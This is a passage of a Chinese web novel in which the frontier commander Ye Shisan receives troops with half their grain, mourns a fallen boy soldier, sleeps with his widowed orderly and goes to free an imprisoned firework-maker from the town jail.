岳佟摆摆手,又道:“既然谭祖高已死,对你来说就是个机会。”
“但这风险也是并存的,郡主目前,是没将此事上奏朝廷,也能给你一个掌握万川郡这支兵马的缓冲机会。”
“朝廷有些人,是极力压制老王爷的,北防军中也有势力被渗透,谭祖高就是个典型的例子。”
“本帅来此地的同时,也将你的情况派人送往京都,好让老王爷为你争取一些机会。”
“我等能在这边城立足,全是仰仗了老王爷征战几十年打下的基础。”
说着,岳佟双手抱拳,高过右肩向京都方向遥遥一礼。
“末将,只听大将军您的。”
叶十三就像一根筋。
岳佟不止一次,向他反复强调镇北王吕南庭的存在。
可他,话里话外,视镇北王如空气,只以岳佟为尊。
“不可胡言乱语!”
岳佟骤然变脸,愠怒道:“你我今天,都是深受老王爷福荫所致,此等荒唐之言,切不可到处乱说。”
“末将记住了。”
叶十三毕恭毕敬,赶忙点头应答。
“末将唯大将军命令是从,不敢再胡言乱语。”
这话,还是原模原样,但听起来让岳佟十分受用。
很快,岳佟眉头,又紧锁起来,
目光看向叶十三,沉声又道:“这一万兵马,是本帅支持你的极限数量,如何部署他们,你自己看着办吧!”
叶十三心里清楚,千里北方线,能调拨一万兵马出来给黄羊岘防区,这已经是相当破例的了。
作为军部的统帅,考虑的是整个大夏北部的安宁,仅仅对一个边城防区,作出如此布兵的决定,岳佟也是顶着巨大的压力才如此决定。
叶十三之前所统之兵,只是属于地方武装,就是武官军职,也是都尉属,和北防军中的校尉,还是不同的。
眼下,作为最高统帅的岳佟,却把一万兵马的北防军常备军,交给了叶十三统领。
如此一来,叶十三这种北防军所属的边角料,实质上已经进入了军管核心。
岳佟,走了一步险棋。
对于朝廷来说,让一个被贬的奴籍掌握军权,那是一件极其危险的事情。
难怪香香郡主来到边城时,刻意接近叶十三,但并没有利用手中的权力,让叶十三进入军管核心。
她在等机会,也在观察。
说白了,她是在企图改变叶十三。
让这个奴籍,向肃王的势力靠拢,从而把叶十三从镇北王的势力圈中给剥离开来。
但无论如何?
前提只有一个,那就是叶十三必须能战,才能可用。
“还有!”
岳佟半眯着眼睛,饶有兴致地望着叶十三,又道:“这一万兵马,粮草你得自筹一半,军部只能拨付半数。”
草!
原本比较笃定的叶十三,此时差点蹦了起来。
“大将军……”
叶十三都懵了。
“怀远将军!”
岳佟一脸淡定,怒目圆睁,没有半点可以通融的意思。
“好吧!”
四目相对片刻,叶十三低下了头来。
岳佟乘胜追击,道:“但你给我记住了,再是缺粮,也不能压榨地方百姓,百姓就是我们的根基。”
这一句,直接把叶十三逼向死角。
这一万大军,天天张口吃饭,而军部,只给拨付一半的军粮。
剩下的一半,就得他这个怀远将军自行解决。
就是把他辖下所有土地都种上粮食,那也是明年开春的事,压根解决不了眼下的问题。
刚吃了三天饱饭,这又一下子,又得勒紧裤带白水炖野菜了。
“行了!”
岳佟站了起来,摆手道:“就这样了,兵马,我已经给了你。如何打仗和养活他们,是你这个怀远将军自己的事了。”
说完,岳佟出了屋子。
外面已经准备就绪,留下周钊带兵,岳佟在几十卫兵的护送下回了通天驿镇。
“开拔!”
叶十三苦着一张脸,率先骑上战马,收拾东西的事,自然有马成和何秀儿操心。
“还没住上几天,这又要挪窝。”
香香郡主也撅着嘴,一脸不情愿的样子。
但她比谁都清楚,身为怀远将军的叶十三,身边已经有了一万兵马,住在这小小的营房,还真不方便部署黄羊岘的军务。
“郡主,东西都收拾完毕,您还有吩咐的吗?”
紫伶带着两名壮妇,站在两辆马车旁边,只等香香郡主发话。
“收拾好了就走啊!”
香香郡主眉头一皱,又道:“没听见怀远将军的命令?”
“奴婢听到了。”
紫伶脸上一阵慌乱,跟在刘四和王选赶着的马车后面,和两个壮妇一路小跑。
“岳佟那老东西,向你面授什么机宜了?”
这章没有结束,请点击下一页继续阅读!香香郡主打马上前,与叶十三并排走着。
斜瞥香香郡主一眼,叶十三哭丧着一张脸,苦哈哈说道:“这一万兵马,军部只给解决一半的粮草,剩下的,得我自筹。”
“啊……”
这一下,真把香香郡主给惊得合不拢嘴。
“这么说,这老东西甩了一个包袱给你,哪是支援你这个怀远将军兵马驻防啊?”
甩包袱?
这话,还真让叶十三陡然一惊。
看来,朝廷拨付给边城的粮草,也是被层层克扣。
不然,岳佟不会出此下策。
“你得帮我想想办法?”
叶十三嘴角一拧,将了香香郡主一军。
“我?”
香香郡主指着自己的鼻子,一双眼睛瞪得老大。
“不是你,还有谁?”
叶十三一撇嘴,给香香郡主翻了个白眼。
这下,香香郡主不淡定了。
“嘉奖都没本郡主的份,本郡主还没跟你讨要赏银的,你可倒好,反而向本郡主讨要粮草了?”
“你哪来如此厚的脸皮,告诉你好了,借你的那些银子,本郡主不还了。”
香香郡主一脸得意,恶狠狠地又补了一句过来。
“再说,这是镇北王的兵马,为何让本郡主想办法?”
香香郡主斜瞥叶十三一眼,撇嘴又道:“就是朝廷拨付粮草不济,那也该他吕南庭找户部要,关本郡主什么事?”
叶十三面颊一抽。
这傻白甜,鬼心眼还真不少?
又在套老子的话了?
等着,看老子不坑死你。
“如何是他吕南庭的兵马?”
叶十三眼睛一瞪,一脸严肃地说道:“千里北防线,戍边北防军,乃我大夏国之重器,一应补给,都由朝廷做主。”
没等香香郡主做出反应,叶十三接着又道:“身为边军,我自当以大夏疆域为重,以万千黎民百姓福祉为上,不是哪个王爷府上看家护院的府兵。”
这一番话,咬着牙的叶十三,说得是义正言辞。
此言一出,香香郡主一双美眸,顿时大放异彩。
“你当真如此想着?”
“我还能哪样去想?”
叶十三眉头一皱,即刻反问一句。
“不过……”
香香郡主目光一扫左右,忽然压低声音,上身向叶十三这边一倾,道:“办法是没有,但馊主意倒是有一个。”
“请讲!”
叶十三心头一凛,斜眼一瞥浑身喷香的香香郡主。
“依本郡主见!”
香香郡主目光闪烁,又凑近一些,一股香气直望叶十三的鼻孔里钻。
“你大可再挤周大人一把。”
说完,香香郡主骤然缩回脑袋,装作没事人一样只顾赶路。
草!
这损货,比老子还损。
周敬堂摊上这等主子,也真他娘的够倒霉了。
再挤周大人一把?
这馊主意,可真他娘的馊,馊得都赶上螺蛳粉的味道了。
周敬堂啊周敬堂!
你他娘的就别怪老子阴损,这馊主意,可是郡主给老子出的哈!
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第180章 十四岁的韩庆战死
不多时,屯田村到了。
偌大的村子,军户们都被紧急转移。
其中在芦河湾村,被临时安置了一多半。
签房大院,只有韩老三一家在值守。
“大人……”
一打照面,韩老三未跪下先落泪。
“伤兵都安置好了?”
叶十三摆手,制止了要跪下行礼的韩老三,张口就问伤兵的事。
“回大人话,伤兵业已安置妥当,有袁将军留下的人马暂且看护。”
望着签房大院进来的大小将领们,韩老三知道,黄羊岘已经紧急备战了。
叶十三目光一扫众将领,提高声调道:“即刻起,周钊所部五千兵马,穆顺所部五千兵马,合力防守屯田村到岘口一带。”
“请怀远将军放心,末将这就部署下去。”
周钊一拱手,然后大步流星就出了签房大院。
“末将遵命,这就安排防守部署。”
穆顺也是拱手一礼,随即就退了下去。
如此一来,光黄羊岘核心范围,就有了一万兵马驻守。
另外,从军部和万川郡北防军大营分出来的各五千兵马,一支驻扎在西河镇的沙柳滩村,与郭威的驻村兵马一起协防。
另外的五千兵马,则按原计划,驻扎在狼嚎岭经兔窝堡的地方。
好在万川郡大营的一万兵马,粮草不成问题,麻烦的就是岳佟给叶十三的这个包袱。
这下,可有韩老三忙的了。
好在他的伤势,已经好了许多。
这一万兵马的驻扎,那可是个大问题,得有足够的房屋安排。
“韩老三听令!”
“小的在。”
微驼着背的韩老三,就在一旁候着。
“眼下屯田村大小琐事,都得有人顶起来才是。”
叶十三望着一脸沧桑,曾经凶悍硬气的这个趟子手,沉声道:“即刻起,你接任郑一刀的佥事一职,手下甲正由你自己去挑选,完了把名册交给马成。”
“大人……”
韩老三简直不敢相信自己的耳朵,伏在地上放声痛哭。
这个之前还名不见经传的奴籍烽燧兵,这才短短时间,先是治好了他的伤,这又把如此重要的职务让他担任。
其实,无人可用的叶十三,只有沐猴而冠。
“哭什么?”
叶十三骤然变脸,愠怒道:“老子宁可看到你流血,也不愿看到边城老父老乡亲流泪。”
“末将遵命!”
韩老三从地上爬起,花白的须发根根竖立,泪迹未干的眼中寒芒顿现,铿锵又道:“请大人放心,就是小的还有一口气在,也要把徐老六他爹,当年开垦的这个摊子守好了。”
“徐老六他爹?”
叶十三一怔,不解地望向韩老三。
韩老三料到叶十三不知道当年的情况,舔舔嘴唇说道:“当年,小的那时还在军中,徐老六他爹徐麻子,本是北防军统帅吕南庭的马夫,徐麻子弓刀极差,屡遭吕南庭嫌弃,不料这徐麻子脑子却是灵活,在吕南庭正为退伍伤残老兵无法妥善安置而苦恼时,徐麻子提出军垦屯田之策,吕南庭大喜,故这徐麻子也就顺应成了屯田村第一任佥事……”
草!
这屯田村的每个人故事不少,都有着曾经的各种辉煌。
待韩老三退下去忙碌,叶十这才想起来,离开营房的他,要在哪里安置下来?
签房大院,只能作为他这个怀远将军的行辕使用。
院子里的各屋子,勉强能够安排将领们住宿。
何秀儿好像看出了叶十三的焦虑。
“大人,铁匠铺后院还有几间房屋,郡主和大人搬那里先行凑合吧!”
此言一出,香香郡主第一个响应起来。
“好主意,也就那个小院了。”
干净的院子,可口的饭菜,一下子就让香香郡主兴奋起来。
“都愣着干嘛?”
香香郡主目光一扫签房门外候着的紫伶几个,忙道:“赶上马车,随本郡主去铁匠铺后院。”
再无良策可施的叶十三,只好跟着何秀儿,去了铁匠铺后面的院子。
“这多好!”
站在院子里的香香郡主,开始指手画脚地分配起来。
“东屋,刘四和王选,你二人住了。”
“西屋,紫伶住了,西屋隔壁杂物间,收拾一下你两人住着。”
就连两个壮妇,也被指定了住处。
香香郡主目光,一瞥郑一刀之前住过的屋子,又一瞥一脸不自在的叶十三,思忖片刻后,才道:“何秀儿住她原来的屋,这正屋隔壁的那间,收拾一下你就凑合着住了吧?”
“那你呢?”
叶十三不假思索,张口就是一问。
“本郡主嘛!”
看到香香郡主的扭捏,何秀儿硬起头皮,低头说道:“正屋还是郡主您住吧!小的和紫伶挤一起就好了。”
“那可委屈你了!”
香香郡主对自己鸠占鹊巢的事,到底还是扭捏了一番,又道:“也好,反正你负责怀远将军的勤务,紫伶也是,当然是负责本郡主了。”
那么,这问题又来了?
这章没有结束,请点击下一页继续阅读!提到勤务,马成带着的十个卫兵,他们住哪里?
还有苏哲和五十名卫兵,这又往何处安顿?
何秀儿就像叶十三肚里的蛔虫一样,接着又道:“大人,隔壁豆腐坊,还有之前的药铺,都有不少的空房,虽然药铺的空房安置了一些伤兵休养,但挤一挤还是能让卫兵们住下来的。”
“快带我去看看!”
叶十三顿时心头一阵敞亮,快步就出了后院。
在药铺的两间空房内,叶十三看到了正在忙碌着给伤兵换药的韩老三婆娘。
此时,韩老三的婆娘,正带着十二岁的次子,给伤兵擦拭伤口。
一见叶十三进来,这个彪呼呼的妇人,当场就眼泪汪汪。
“大人,他们都是些半大孩子啊!”
受伤的,多半也是他从西河镇带来的新丁。
新丁们看到叶十三,纷纷挣扎着起来要行礼。
“都别动,好好躺着。”
叶十三摆摆手,又道:“好好养伤,已经给你们每人记功一次,都有十两赏银可领。”
“你叫什么名字?”
叶十三把目光,投向韩老三的老二儿子。
“我叫韩喜。”
韩喜拿起乌黑的袖口,擦拭了一下快要掉进嘴里的鼻涕。
“哦,韩喜!你是韩庆的弟弟?”叶十三恍然大悟,这个小子,就是韩庆的同胞兄弟。
“你是叶大人?”
韩喜仰着脸,又是一问。
“我哥哥死了,是以身殉国的,他是条汉子!”
韩喜又是一句,木讷地望着叶十三。
“韩庆战死?”
叶十三差点站立不稳,身子晃了一下。
“是的,是和郑大叔一起在岘口战死的,他们都是好样的。”
韩喜还在继续说着,一旁给伤兵换药的韩老三婆娘,已经捂着面抽泣起来。
叶十三的胸膛,似乎被一团棉花堵着,一时窒息得喘不过气来。
“大人,大人您没事吧?”
察觉到有异的何秀儿,赶忙上前,扶住了摇摇欲坠的叶十三。
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第181章 邪念
叶十三醒来的时候,已经是半夜。
一盏油灯,火苗忽高忽低,跳跃个不停。
“大人,您醒了?”
是何秀儿焦急的声音。
“怎么,郡主也在?”
透过油灯的光晕,叶十三看到,香香郡主伏在炕沿打着瞌睡。
“混蛋!”
猛然抬头的香香郡主,张口就骂道:“都快吓死人了,你知道不?”
“我睡了多久?”
叶十三茫然地扫了房间内一眼。
眼前布置熟悉,是何秀儿的正屋,而他,正躺在炕上。
“给把粥热一热,这饿死鬼饭量可不小。”
香香郡主吩咐何秀儿一句,然后伸了个懒腰,转身说道:“你多费点心,这混蛋可不让人省事,本郡主困了,和紫伶挤一宿得了。”
目送香香郡主出了屋门,何秀儿凑上前来,小声说道:“你昏了过去,把郡主都吓哭了,从天擦黑,一直守到现在。”
“哦!”
叶十三心头一乱,居然不知道说什么好?
“我扶你起来,粥是热着的,是一直放在火盆边温着的。”
说着,何秀儿一条膝盖搭在炕沿上,伸着双手就把叶十三扶了起来。
“我喂你,粥温着的,不烫嘴!”何秀儿已经把粥勺,送到叶十三嘴边。
一碗白粥下肚,叶十三浑身才舒坦了些。
“你方才,可真是吓死我了。”
何秀儿低头收拾着碗筷,小声就是一句。
“我这是老毛病了,一急,头就发懵。”
说完,叶十三自行又躺了下来。
不行!
得修身了。
在前世的现代,从那秘密基地的宗门所学的一些心法,不但能强健筋骨,而且还能修复内伤。
这脑袋里面的隐疾,如果一日不除,终究会是个大麻烦。
如此想着,叶十三缓缓闭上眼睛,开始在心里运用那些心法。
……
“您醒了?”
何秀儿揉揉眼睛,从炕沿上爬了起来。
看到叶十三已经盘腿坐着。
“我也是刚醒而已。”
叶十三笑了笑,目光投向比前段时间,略微发育了一些的何秀儿。
“辛苦你了,守我一夜。”
勤务兵,不就是干这个的吗?
何秀儿面上一红,低头道:“这些都是小的分内之事,谈不上辛苦不辛苦。”
经过一夜的心法修复,叶十三的精神头,比昨天那是好多了。
内功心法,那是个漫长的修习过程。
在前世的现代,已经很少有人相信这些了。
只有在高层群体,还存在着一些靠传统医术,和功法来养生的现象。
当然,这个行业中,骗子居多,精华却少。
所以,传统医术在现代,是没有多大的市场的。
因为在所谓的科学面前,这些都是经不起推敲的。
“水热着的,小的给您擦脸。”
何秀儿已经把一块热气腾腾的巾帕,向叶十三的脸上伸了过来。
叶十三就像一个乖巧的婴孩,一动不动地让何秀儿给他擦完了脸和手。
他知道,这个女人昨夜熬了一宿,只是在天亮的时候,爬在炕沿上眯了一会。
“你睡会吧!”
叶十三望着何秀儿清秀的脸蛋,又道:“饭食这些,有紫伶她们,你就在炕上睡一会吧。”
此言一出,何秀儿俏脸一红。
“这大白天的,大家都在忙碌,就小的爬炕上睡着,让人看到了成何体统?”
何秀儿的头,几乎垂到了胸口。
“再说,等会郡主进来,小的又在炕上躺着,这是对郡主的大不敬。”
何秀儿又是一句。
“那就让郡主也上炕躺着,我就喜欢你俩一起躺我身边。”
叶十三冷不丁,就冒出如此离谱的一句话来。
“啊……”
吃惊之下,何秀儿的脸,直接红到了耳根。
发懵片刻,小声又道:“你不会是想让郡主她,也来侍奉你入寝……”
何秀儿的话,让叶十三打了个激灵。
方才?
是自己那样说的吗?
草!
这该死的前身,他居然残魂未尽,替老子来了这么一句淫邪的想法。
难道昨夜修复内伤,将他的残魂也修复了?
“小的看得出来,那个郡主,她对你也好!”
低着头的何秀儿,又是一句,直接把叶十三给惊得拉回了神。
“不可胡说!”
稳稳神后,叶十三瞥了何秀儿一眼,缓缓说道:“她是她,你是你,你和她,那是两回事。”
叶十三知道,这个香香郡主,和他之间,那是一定有着某种关系的。
只是他现在记忆尽失,对过往的事,已经拼凑不出个完整的回忆来。
这前身哥们的身子,也太弱了,得用心法修习得强大起来才行。
尽管叶十三如此一说,但何秀儿还是没有上炕再睡。
倒是熬了一宿的香香郡主,回到紫伶那边的屋子,倒头就打起了轻鼾。
紫伶端了几样早饭,来到叶十三屋里。
“将军,该用膳了。”
本小章还未完,请点击下一页继续阅读后面精彩内容!用膳?
这一声,又把叶十三给弄懵了。
记忆深处,曾经好像就是这样称呼吃饭的。
是他军职高升,紫伶的称呼也变了?
“郡主说了,将军该好好滋补一下了。”
说着,紫伶把一碗银耳汤,从盘子里拿了出来放在地上的桌上。
“汤里是炖了老参的,要是和母鸡炖了更好。”
紫伶说着,又把一盘银丝卷儿搁在桌上。
也许是紫伶曾经发现烽火后,及时向叶十三报过信的缘故,叶十三此时看到紫伶,觉得这个侍婢,是要比先前顺眼多了。
“先搁那儿吧!”
叶十三一瞥桌面的饭食,轻描淡写一句。
“还是让奴婢喂将军吧!”
紫伶低着头,准备拿银勺给叶十三喂饭。
这何秀儿不是刚喂过一碗白粥的吗?
自己何时变得如此金贵起来?
是怀远将军的身份?
还是他,在这些人眼里是个病号?
“先不喂了,本将待会自己进食。”
叶十三一阵头大。
让女人喂食,他还真有些不习惯。
“郡主交代奴婢了,要把将军伺候好了。”
低着头的紫伶,怯生生又一句。
望着局促不安的紫伶,叶十三不知道,她这是惧怕香香郡主?
还是,惧怕他这个怀远将军?
月瑶被杖毙,只能说是那个不知天高地厚的奴婢该死。
也许,是那件事,给这个侍婢,心里也落下了阴影?
“抬起头来,让本将看看?”
叶十三突然一句,想要看看紫伶的长相。
待紫伶缓缓抬头,眼眸中还带着一丝羞怯和惊慌的时候,叶十三居然伸过手去,在紫伶的脸蛋上摸了一下。
这一摸,让紫伶心头陡然一惊。
可叶十三自己,也恍若隔世,猛然一抖,才发觉自己方才的举动,是何等轻浮。
难道,用了心法修复内伤,居然把前身那哥们,仅有的一点残魂也修复了?
不!
不能这样。
再是自己,在前世的现代有点风流,但这是伦理至上的古代。
就香香郡主那个傻白甜,自己都没舍得动一下。
何况紫伶还是个侍婢,论姿色和气质,更无法和香香郡主相提并论。
“将军……”
被摸了一下脸蛋的紫伶,浑身一阵轻颤,脸一下就红到了耳根。
“哦!”
叶十三揉了揉自己的太阳穴,摇摇头让自己清醒一下,摆手道:“你,退下吧。”
“奴婢遵命!”
紫伶双手一提裙摆,退后三步,然后转身,就像逃命一样出了屋子。
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第182章 铁匠铺
叶十三方才的举动,让一旁的何秀儿大吃一惊。
“你,想了?”
何秀儿抬起头来,眼神复杂地望向叶十三。
“我,我方才,好像身不由己?”叶十三老脸一红,肚里暗暗直骂前身那个倒霉鬼。
怂包货一个!
一个侍婢,你也稀罕?
不过,一个风华正茂的爷们,对女人把持不住,那也是情有可原。
看来,你这倒霉蛋,活着的时候也是个闷骚男。
手捧圣贤书,心中馋美色,表面谦谦君子的窝囊废一个。
想想老子,在前世的现代,十六岁就撩妹,十八岁已经带着学妹开房。
哪像你?
居然充军后,被一个步弓手殴打致死!
他打你,你就不会揍他啊?
看见漂亮女人,只有意淫的份,有本事你倒是上啊!
老子就不相信,在被贬奴籍前,你家就没有成群的侍婢伺候着?
叶十三肚里骂着前身那哥们的窝囊,眼睛开始在何秀儿身上瞄来瞄去。
这女人,是个好人。
只是命不好,给配了一门亲事,这才被男人宠了几天,就开始守寡了。
“你,上来睡会?”
叶十三喉结上下一阵蠕动,狠咽一口唾液。
“我……”
何秀儿面上一红,缓缓上了炕沿,慢腾腾脱下了两只鞋子,然后就闭着眼睛,就在叶十三身边仰躺了下来。
老郑,对不住了!
不过你放心,日后,有老子来照顾她的。
你能给她的,老子照样能给,你给不了的,老子也能给她。
就凭你给老子打造这把刀的情分,老子一定要把你的女人给照顾好了。
不!
应该说,是老子把自己的女人,赏赐给了你。
而你,却无福消受而已!
再说,暴殄天物,和浪费粮食一样可耻。
叶十三心里如此想着,这才让自己的无耻,变得高大一些。
“啊……”
也许是叶十三太过急躁和猛烈,紧咬着嘴唇的何秀儿,叫了一声后,把一只被角紧紧咬在嘴里,不让自己再发出任何的声响。
……
待香香郡主一觉睡醒,正屋里的叶十三,已经穿好了衣服。
一脸羞怯的何秀儿,已经在棉服上面套上了革甲,像模像样地挎着那把短刀,在后院周围来回走动。
下了炕的叶十三,穿好了长靴,正了正头上的皮革头盔,然后径直去了前院的铁匠铺工坊。
“吧嗒,吧嗒……”
一个和郑一刀一样,瘸了一条腿的田兵,在使劲地拉着风箱。
四个双臂肌肉隆起的田兵,两人一组,正在“叮叮当当”地打造着兵器。
一旁的墙角,摆着一排腰刀、矛头、钩镰的坯件。
另外有两个田兵,在套间里的工桌上,对已经打造好了的兵器进行登记。
贾迎福没被运送出去的那些铁料,已经在这里派上了用场。
“小的们见过大人!”
屯田村的铁匠和木匠们,几乎都认识叶十三。
他们曾经在营房里改造过弓弩,对叶十三并不陌生。
“还能召集到铁匠吗?”
叶十三看到偌大的工坊,这么几个铁匠显得有点少。
为首的一个老年铁匠拱手道:“回大人话,其实年纪大一点的军户,大多数都会点手艺,熟皮子缝革甲,做家具造屋舍,轮大锤,冶炼锻造都能成。”
“哦!”
叶十三一怔,他没想到,这里的军户还都是多面手。
其实,边城什么都缺。
所以,任何东西,大多都是自己来造。
“但我需要一批精通铸造和锻打的匠人,会一点的那种水平不行。”
叶十三直接提出了要求。
“那要看大人需要造何等物件了?”
老铁匠毫不气馁,很自信的就是一问。
叶十三嘴角一撇,道:“首先,要懂冶炼。”
“这个简单,会铸造的,炼钢和刻模都不在话下。”
老铁匠望着叶十三,只等叶十三给出个准确答案。
“那好!”
叶十三盯着老铁匠满是褶子的脸,沉声道:“以最短的时间,召集齐二十名手艺精纯的铁匠,尤其是巧匠更好。”
“巧匠?”
老铁匠挠挠头,笑道:“要说巧,还真有那么一位,没见过他打铁,但他却打得一手好铁花,听说尤其是擅长做烟火炮仗。”
打铁花?
擅长做烟火炮仗?
烟火?
不就是现代所说的烟火吗?
叶十三面颊一抽,急道:“此人现在何处?”
“大人,话赶话而已,不必当真。”
老铁匠笑了,摆摆手就准备干活。
“大胆!”
跟在叶十三身后的何秀儿,“刷”一下抽出那把短刀,上前两步指向老铁匠,怒道:“曹叔,我敬你是老辈,但你如此糊弄怀远将军,可就别怪我不客气!”
此言一出,老铁匠眼珠子瞪得老圆,惊道:“秀儿,你咋穿起战甲来了?”
何秀儿和这些铁匠们,熟悉得不能再熟悉了。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!此时的她,却拿着刀指向老铁匠,足以说明她对眼下这个“勤务兵”身份的极度重视。
叶十三来这里,绝非是无聊的没事干了拉闲谝,召集巧匠,必有大用。
“嗨!”
老铁匠见何秀儿如此,两手一摊,委屈道:“也怪小的多嘴,好好的,干嘛非要提一个坐监房的人啊!”
坐监房的人?
难道,老铁匠口中的巧匠,已经被下了大狱不成?
“说!”
叶十三紧盯着老铁匠的脸,又道:“仔细给我说来,不要有半点隐瞒。”
“这?”
老铁匠一阵发懵,呆愣片刻,说道:“之前,有个军户原本南方人,此人心灵手巧,过年时候,还在练兵场上打铁花给村民们看,后来,由于雇人从硫磺谷挖硫磺矿,运回老家做烟火贩卖,由于烟火着起爆死了雇佣的车夫,被下了大狱关押在镇上。”
“是啊!”
另一个铁匠也插嘴道:“小的记得那事,不是烟火起爆,是做烟火的原料着火,就像响雷一样,把装车的一个车夫和伙计,当场被炸得开膛破肚,这事已经过去三年了,现在想起来都害怕……”
“他叫什么名字?”
叶十三急问。
“好像,好像叫林老幺?”
老铁匠皱着脸,思想半天,才说出了个模棱两可的名字。
“不对!”
老铁匠的话,即刻就有人否定。
说话的是方才拉风箱的瘸子,瘸子嘴一咧,道:“你这老曹,人家是有名字的,叫林末生,熟悉他的人一直喊他林老幺。”
“林末生……”
叶十三嘴里念叨着,转身走出铁匠铺,忽然转头向何秀儿说道:“叫上郡主,通知马成,跟我即刻去镇上。”
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第183章 镇衙门的监牢
“何事如此紧急?”
香香郡主一头雾水,催马紧跟上来。
“到了你就知道了。”
叶十三头也没回,冷声就是一句。
马成不敢插嘴,刻意落后叶十三两个马身,把香香郡主的马让到前面。
“大人去铁匠铺做什么?”
马成压低了声音,问了何秀儿一句。
何秀儿怔了怔,不知道该不该回答马成的问话?
“到底发生什么事了?”
马成又是一问。
何秀儿面上一红,讪讪说道:其实,我也不知道,只是听大人给那些铁匠们说,要召集一批能工巧匠。”
“找工匠?”
马成一愣,低声道:“大人莫非是要重修工事?”
“这?”
何秀儿到底不是军伍出身,对于防御工事这些就不懂了。
“不可能啊!”
马成摇摇头,撇嘴道:“眼下天寒地冻,土层都无法挖动,如何修得了工事。”
尽管一肚子疑问,但还是不敢多嘴再问。
最前面的叶十三,只顾催马狂奔。
“慢点!”
紧跟在一侧的香香郡主,担心地又道:“你身体还没康复,还是悠着点好了。”
叶十三没有吭声,只管纵马疾驰。
老子身体好着呢!
别说一个何秀儿,就是换着你这傻白甜再来一火,保准让你嗷嗷叫。
昨天,老子那是急火攻心,是为那帮娃儿们的生命惋惜,你以为老子就那么弱鸡?
别小看老子!
惹得老子那份邪性上来,一晚上不弄你七八次,老子就是泥巴捏的。
一阵邪念,霎时就占据了叶十三的大脑。
一些古里怪张的想法,也就乱蹦了出来。
好在已经看到了通天驿镇的街口,叶十三的脑子才回归了常态。
“去军部还是?”
香香郡主望着前面街口,放慢了马速时刻准备拐弯。
“去什么军部!”
叶十三一回头,瓮声道:“这趟,是要拜访周大人,得上镇衙门啊!”
“镇衙门?”
这一下,香香郡主吃惊不小。
这混蛋又盯上周敬堂了?
看来,这个不消停的主,今天让周敬堂又得脱一层皮了?
军粮?
难道是真要剐周敬堂的一层皮下来?
真要是这样,那馊主意可是她这个郡主给出的。
纳闷期间,马队已经到了镇衙门外面。
望着衙门口执勤的兵卒,香香郡主先抖擞了起来。
“快去,知会周敬堂出来接驾!”
香香郡主端坐马背,一脸的盛气凌人,高高在上地向衙门的兵卒发号施令。
这次,得给这混蛋把场子撑硬点。
不然,周敬堂也不是个省油的灯,剐不下油水,那一万兵马一半的粮草如何解决?
不多时,周敬堂双手提着官袍的下摆,急匆匆就从官衙奔了出来。
“下官见过郡主,见过怀远将军!”
周敬堂就地一跪,前半声高昂,后半句潦草,算是向二人行了个礼。
“起来吧!”
香香郡主一甩马鞭,没等马成象征性地搭把手,自个下了马,把马缰递给早已下了马的一名卫兵。
叶十三把马缰交给马成,斜瞥周敬堂一眼,道:“几日不见,周大人这气色见好啊!”
狗东西!
你就盼着老子晦气不成?
老子最近天天喝鹿血,吃老参,好不容易补得印堂见光,你这狗东西,就见不到老子半点好!
周敬堂肚里骂着,嘴上笑道:“还请郡主和将军里边坐。”
香香郡主把胸一挺,率先迈步进了官衙。
叶十三倒是不急,向周敬堂客气道:“周大人请!”
狗东西!
升了军职,大了老子一头,这反而懂礼数了?
周敬堂肚里骂着,拱手又道:“还是怀远将军请!”
这下,叶十三没有客气,抬腿就往里走。
待坐定后,衙门的兵卒也端上了热腾腾的茶水,没等周敬堂虚喧一番,叶十三急着把目光投向周敬堂脸上。
“你衙门的监牢,可关押着一个叫‘林末生’的人犯?”
这一问,让周敬堂一撇嘴。
“回将军话!”
周敬堂端了端身子,慢斯条理地说道:“监牢关着的,不是穷凶极恶的盗匪,就是无恶不作的流寇,下官还真不记得所押之人都姓甚名谁?”
说完,周敬堂把目光投向香香郡主,恭敬说道:“郡主可是丢失了财物?”
“啊……”
这一问!
直接把对此毫无准备的香香郡主,给问了个大张嘴。
“谁敢动本郡主的财物?”
一阵懊恼之下,香香郡主没好气地回了周敬堂一句。
“那这?”
周敬堂老脸一红,把视线又转移到叶十三脸上,问道:“将军所问,下官叫来师爷一查可知。”
说完,周敬堂扬扬手,示意兵卒去传师爷。
“算了!”
叶十三站了起来,沉声道:“你带本将去一趟监牢,不就行了!”
说着,叶十三已经大步流星往外走。
这么急?
难道是有叶家人,被投入监牢在押了?
如此一想,香香郡主也坐不住了,起身就说:“听怀远将军的。”
这一声令下,周敬堂面颊一抽,快步跟在香香郡主身后,急急就出了官衙。
不多时,监牢到了。
不等师爷过来,周敬堂摆手制止了狱头的行礼,急道:“是否有个叫林末生的,被关在这里?”
“林末生?”
狱头一愣,皱着眉头思忖片刻,急道:“有,大人说的是林老幺,他是被关着,判了五年苦役,眼下天冷,无苦役可罚,就收监关押。”
一听真有此人,叶十三眼里闪过一丝光亮。
“带本将去看看!”
“本郡主也去!”
叶十三一低头,径直就往监牢的通道走去,香香郡主快步跟了上来。
“还不带郡主和将军进去?”
周敬堂眉头一皱,向狱头怒吼一声,然后退出签房,站在外面和一行随从等着。
“哗啦啦……”
一声铁链响过。
“二位大人请!”
拿钥匙打开了通道铁栅栏的狱头,并没有把香香郡主和叶十三让在全面。
“注意了,别碰着头。”
狱头躬着身子,快步走在前面带路,不时地回头提醒着后面的人。
通向监牢的通道又窄又矮,叶十三只有弯着腰通过。
由于光线太暗,跟在后面的香香郡主,不由得拉住了叶十三的后衣襟。
没走几步,一股发霉的恶臭味儿,霎时就从通道里面向外扑面而来。
香香郡主一阵反胃,拉着叶十三衣襟的那只手,也赶快缩了回去,用来捂着鼻子和嘴巴。
“二位大人,到了,那就是林老幺!”
在通道内前行十来步,又拐了个弯,狱头站在一处粗木牢门前停了。
透过粗木的缝隙,看到在昏暗的监房里墙角,一堆乱草中,斜躺着一个头发胡须与身下乱草无异的囚犯,正两眼无神地望着牢门。
“林老幺,给老子站起来!”
狱头一声暴喝,吓得在乱草中蜷缩着身子的囚犯,霎时就一阵哆嗦。
“你他娘的,聋了?”
见囚犯还在半躺着,狱头一抖手中的铁链,又是一声怒吼。
“大人……是在……叫小的……?”
囚犯战战兢兢,恐惧地望着粗木栅门外的三人。
“你就是林末生?”
叶十三开口了,语气平缓地一问。
“是……小的……就是林……末生。”
囚犯爬了起来,跪在地上惊恐地望着叶十三。
“这个人,本将要了!”
叶十三转过头来,目光冷冷看向狱头,又道:“即刻办理解押手续,人,本将要带走。”
第184章 叔可忍,婶不可忍
“这……”
狱头一怔,随即笑了。
“这什么这?”
